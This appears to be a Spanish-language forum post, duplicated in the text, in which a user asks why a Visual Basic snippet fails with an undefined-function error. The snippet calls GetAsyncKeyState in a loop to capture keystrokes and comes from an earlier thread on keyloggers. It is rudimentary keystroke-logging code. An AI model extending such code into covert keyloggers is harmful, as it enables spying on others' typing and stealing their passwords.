Es que cuando pongo el getasynkeystate me dice error de compilacion: Procedimiento sub o Function no definido.
Es de este codigo que alguien puso aqui sobre los keyloggers:
Dim i As Integer, a As Integer
For i = 0 To 256
a = GetAsyncKeyState(i)
If a = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next
Lo pues en el form load y puse el end sub.
Que puede ser?
S4Lu2!!
Es de este codigo que alguien puso aqui sobre los keyloggers:
Dim i As Integer, a As Integer
For i = 0 To 256
a = GetAsyncKeyState(i)
If a = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next
Lo pues en el form load y puse el end sub.
Que puede ser?
S4Lu2!!